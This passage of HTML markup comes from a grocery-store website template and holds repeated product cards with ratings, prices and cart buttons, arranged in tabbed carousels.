                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Banana</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/3.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/3.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Red Capsicum</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/4.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/4.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Rippen Mango</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/5.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/5.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Farm's Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/6.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/6.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Coconut</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/7.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/7.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Tangerin Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/8.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/8.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Pine Apple</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/9.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/9.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/10.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/10.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Grape</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="tab-pane fade" id="tab2" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/9.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/9.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/10.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/10.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Grape</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/11.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/11.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Farm's Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/14.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/14.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/15.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/15.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Orange</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/16.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/16.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Kiwi Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="tab-pane fade" id="tab3" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/17.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/17.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Red Beet</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/18.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/18.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Spring Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/19.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/19.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Tomato</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/20.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/20.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Watermelon</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/7.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/7.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Tangerin Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/8.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/8.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Pine Apple</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/1.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/1.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Grapes</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/2.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/2.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Banana</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="tab-pane fade" id="tab4" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
